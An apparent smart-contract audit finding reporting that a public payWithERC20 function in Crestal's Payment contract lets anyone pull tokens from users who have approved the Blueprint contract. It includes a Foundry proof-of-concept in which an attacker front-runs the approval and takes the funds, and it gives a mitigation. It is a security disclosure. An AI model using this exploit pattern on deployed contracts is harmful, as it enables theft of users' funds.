Ancient Berry Mouse

High

# Anyone can call `Payment::payWithERC20` function

# Summary

The function `Payment::payWithERC20` can be called by anyone. This allowa a malicious user to steal funds from the users of the protocol.

# Root Cause

The function [`Payment::payWithERC20`](https://github.com/sherlock-audit/2025-03-crestal-network/blob/27a3c28155702b3a68f29347efedffb048010e33/crestal-omni-contracts/src/Payment.sol#L25) is used for the transfer of the required tokens from the user address to the fee wallet address, when the user creates an agent or updates config:

```solidity

    function payWithERC20(address erc20TokenAddress, uint256 amount, address fromAddress, address toAddress) public {
        // check from and to address
        require(fromAddress != toAddress, "Cannot transfer to self address");
        require(toAddress != address(0), "Invalid to address");
        require(amount > 0, "Amount must be greater than 0");
        IERC20 token = IERC20(erc20TokenAddress);
        token.safeTransferFrom(fromAddress, toAddress, amount);
    }

```

The problem is that the function is public and anyone can call it. When the user wants to create an agent with token, the user should first approve the `Blueprint` contract to spend user's funds. After that the user can call the function to create the agent. But the approved transaction on Base are visible by everyone. That means the malicious user can see this approved transaction and calls the `payWithERC20` function with `fromAddress` and `toAddress`. The `fromAddress` will be the address of the user and the `toAddress` will be the address of the malicious user. In that way the malicious user can front run the legitimate user and steal his/her funds, before the legitimate user calls the function to create an agent.

# Impact

Users can be robbed by malicious user while trying to use the protocol.

# PoC

This Foundry test shows how the user1 is the user who wants to use the protocol and approves the blueprint. But user2 (malicious user) calls the `payWithERC20` function and transfers user1's funds to his address. In that case when user1 tries to call `createAgentWithToken` function, the function will revert:

```solidity

    function testPayWithERC20() public {
        string memory base64Proposal = "test base64 proposal";
        string memory serverURL = "http://eee.com";
        
        vm.startPrank(owner);
        blueprint.addPaymentAddress(address(erc20));
        blueprint.setCreateAgentTokenCost(address(erc20), 6 * 10**6);
        blueprint.setFeeCollectionWalletAddress(feeCollectionWalletAddress);
        vm.stopPrank();

        vm.startPrank(user1);
        erc20.mint(user1, 20 * 10**6);
        erc20.approve(address(blueprint), 6 * 10**6);
        vm.stopPrank();

        vm.startPrank(user2);
        blueprint.payWithERC20(address(erc20), 6*10**6, address(user1), address(user2));
        vm.stopPrank();

        vm.startPrank(user1);
        bytes32 projectId = keccak256(abi.encodePacked(block.timestamp, msg.sender, block.chainid));
        vm.expectRevert();
        blueprint.createAgentWithToken(projectId, base64Proposal, address(0x00), serverURL, address(erc20));
        vm.stopPrank();

        assertEq(erc20.balanceOf(user2), 6*10**6);
    }

```

# Mitigation

Change the visibility of `payWithERC20` from `public` to `internal`.
